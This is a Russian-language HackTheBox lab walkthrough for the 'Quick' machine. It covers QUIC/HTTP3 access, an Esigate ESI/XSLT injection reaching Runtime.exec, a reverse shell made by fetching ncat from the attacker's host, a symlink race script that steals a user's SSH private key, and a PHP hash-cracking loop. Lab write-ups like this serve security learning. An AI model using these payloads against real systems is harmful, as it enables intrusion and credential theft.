HackTheBox. Прохождение Quick. QUIC HTTP/3, XSLT инъекция, Race condition +7



Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье разбираемся с подключением по QUIC HTTP/3, получаем RCE благодаря XSLT инъекции и используем технику Race Condition для получения приватного ключа пользователя.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.186, который я добавляю в /etc/hosts.

10.10.10.186 	quick.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.186       --rate=500



Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A quick.htb -p9001,22



Так мы имеем две службы — SSH и веб-сервер Apache. Посмотрим, что нам предложит веб.



Имеется ссылка на портал, работающий отвечающий протоколу HTTPS, но данный порт закрыт. Добавим данный DNS в /etc/hosts.

10.10.10.186 portal.quick.htb

Но порт 443 закрыт! Еще на сайте находим интересный список.



Давайте просканируем директории с помощью gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w), расширения, которые нас интересуют (-x) и нужные нам коды ответа сервера (-s).

gobuster dir -t 128 -u http://quick.htb:9001/  -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html --timeout 60s -s 200,204,301,302,307,401



И находим интересные страницы, но все требуют авторизации. Немного покрутившись вокруг данного сайта, возник вопрос. Зачем нужна ссылка на портал, если порт соответствующий порт сервера закрыт. Тогда более снова более тщательно просканируем данный порт.

nmap -p443 -A quick.htb



sudo nmap -p443 -A -sU quick.htb



И данный порт открыт для UDP!

Entry point


Погуглив, находим статью в которой описана технология QUIC (похоже на название машины).



Далее, читая про данный протокол, узнаем, что в Chrome была добавлена возможность работы с данным протоколом.



Но указанным способом подключиться не получается. Тогда вспоминаем, что подключения фильтруется и выходим на эту статью.



Давайте произведем установку как описано в статье:

sudo apt install rustc cargo
git clone --recursive https://github.com/cloudflare/quiche
cd quiche
cargo build --examples



Все успешно собрано, теперь выполним запрос на наш сайт и получим ответ!

RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/



Для удобства можно вывод сохранять в HTML файл и открывать документ в браузере, но мне и так привычно. Видим ссылку на страницу с документами, так давайте обратимся к ней.

RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/index.php?view=docs



И видим два документа. Скачаем их.

RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/QuickStart.pdf > QuickStart.pdf
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/Connectivity.pdf > Connectivity.pdf

И в Connectivity.pdf сказано, с каким паролем мы можем зайти, вот только в качестве имени пользователя нужно использовать какой-то email.



Давайте насобираем информации… Список клиентов уже был представлен ранее, но мы можем найти еще и сотрудников.



Давайте создадим список email’ов. Так Tim относится к QConsulting из Великобритании, тогда его email будет скорее всего tim@qconsulting.co.uk. Составим такой для всех имен. И попробовав под ними авторизоваться, успешно заходим как elisa@wink.co.uk.



USER


Немного осмотревшись, обратил внимание, что не работает плагин wappalyzer. Посмотрим на используемые технологии с помощью whatweb.

whatweb http://quick.htb:9001/home.php



И видим заголовок X-Powered-By: Esigate. Поищем эксплоиты.



Таким образом, XSLT инъекция может привести с RCE. Из gobuster мы узнали, что есть еще страницы search.php и ticket.php. Если обратиться к search. То нам скажут, что нет строки для поиска.



Тогда передадим параметр search.



И при поиске “2”, есть результат.



А вот на странице ticket.php можно создать билет.





И мы получить соответствующую запись, которую можно найти. Эксплуатация уязвимости хорошо показана здесь. В соответствии со статьей, для получения RCE необходимо отправить ссылку на XSL файл, который будет иметь следующее содержание:

<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[!!!RCE!!!]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>

Где CDATA[] будет содержать выполняемую команду. В качестве сообщения мы должны отправить include данных файлов.

<esi:include+src="FILE.xml"+stylesheet="FILE.xsl"></esi:include>

Тогда запустим на локальной машине листенер.

nc -lvp 4321

И теперь будем создавать тикеты и обращаться к ним. Так как символы “>” и “<” будут экранировны, совершим три запроса. Мы будем загружать ncat, давать ему право на исполнение и совершать бэкконнект. Ниже приведены значения CDATA[] для трех файлов:

1.xsl: wget http://10.10.14.191/ncat
2.xsl: chmod +x ncat
3.xsl: ./ncat 10.10.14.191 4321 -e /bin/sh

И выполним 6 запросов (первое — содержание сообщения, второе — запрос к билету).

<esi:include+src="http://10.10.14.191/1.xml"+stylesheet="http://10.10.14.191/1.xsl"></esi:include>



<esi:include+src="http://10.10.14.191/2.xml"+stylesheet="http://10.10.14.191/2.xsl"></esi:include>



<esi:include+src="http://10.10.14.191/3.xml"+stylesheet="http://10.10.14.191/3.xsl"></esi:include>



И мы видим подключение.





USER 2


Для удобства создадим и запишем SSH ключ.





Теперь можно подключаться с помощью приватного ключа. Вспоминаем про найденный на сайты файл db.php, который должен содержать учетные данные для подключения к базе данных. Давайте просмотрим его.



Подключимся с полученными учетными данными.

mysql -h localhost -u db_adm -p

Давайте просмотрим имеющиеся базы данных.



Выбираем базу данных quick.



Просмотрим таблице в данной базе.



И в конце концов, получим данные из таблицы users.



Получаем хеши, но перебрать md5 не выходит. Давайте посмотрим код, где происходит сравнение хешей.





Таким образом, пароль сначала попадает в функцию crypt. Давайте напишим свой код, который переберет пароли.

<?php 
$hash = 'c6c35ae1f3cb19438e0199cfa72a9d9d'; //'e626d51f8fbfd1124fdea88396c35d05';
$wordlist = fopen("./tools/rockyou.txt","r");
while(! feof($wordlist))  {
	$str = fgets($wordlist);
    $str = trim($str);
    echo "Find password: " . $str ."                        \r";
    $tmp_hash = md5(crypt($str,'fa'));
    if($hash == $tmp_hash){
        echo "Password Found: ". $str."\n";
        fclose($wordlist);
        exit(0);
    }
}
fclose($wordlist);
?>



И получаем пароль. Локально изменить пароль не получается и к SSH он тоже не подходит, поэтому проверим остальной исходный код. Как следует из add_printer.php, принимается несколько параметров, в том числе IP адрес и порт. Далее для проверки соединения выполняется подключение.



Куда интереснее файл job.php.



Но вот авторизоваться на сервере не получается, так как он не доступен. Давайте посмотрим настройки веб-сервера. Таким образом, происходит создание файла, а потом его передача на указанные при создании принтера хост и порт. Но благодаря задержке sleep(0.5) и тому, что разрешения созданного файла 777, мы можем его изменить перед отправкой, при этом мы имеем все права для данной директории.



Таким образом можно написать скрипт, который будет линковать данный файл с приватным ключом пользователя!

cd /var/www/jobs;
while true;
do
        for file in $(ls .);
        do
                rm -rf $file;
                ln -s /home/srvadm/.ssh/id_rsa $file;
        done
done

Давайте посмотрим настройки веб сервера.



Таким образом, данный сайт работает от имени srvadm и доступен только через localhost. Давайте пробросим порт и добавим соответствующую запись в /etc/hosts.

127.0.0.1 printerv2.quick.htb

sudo ssh -i sam -L 80:127.0.0.1:80 sam@quick.htb

Теперь зайдем на сайт.



И перейдем к добавлению принтера.



После того как принтер добавлен, нужно его активировать.



Теперь запустим наш скрипт и выбираем print.



И в увидим подключение к листенеру и SSH ключ пользователя.





ROOT


И в домашней директории находим директорию .cache.



И находим файл конфигурации к принтеру.



И в конфиге находим строку подключения к принтеру:

https://username:password@ip/printer



Откуда получаем пароль, который мы можем использовать для подключения по SSH.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.




К сожалению, не доступен сервер mySQL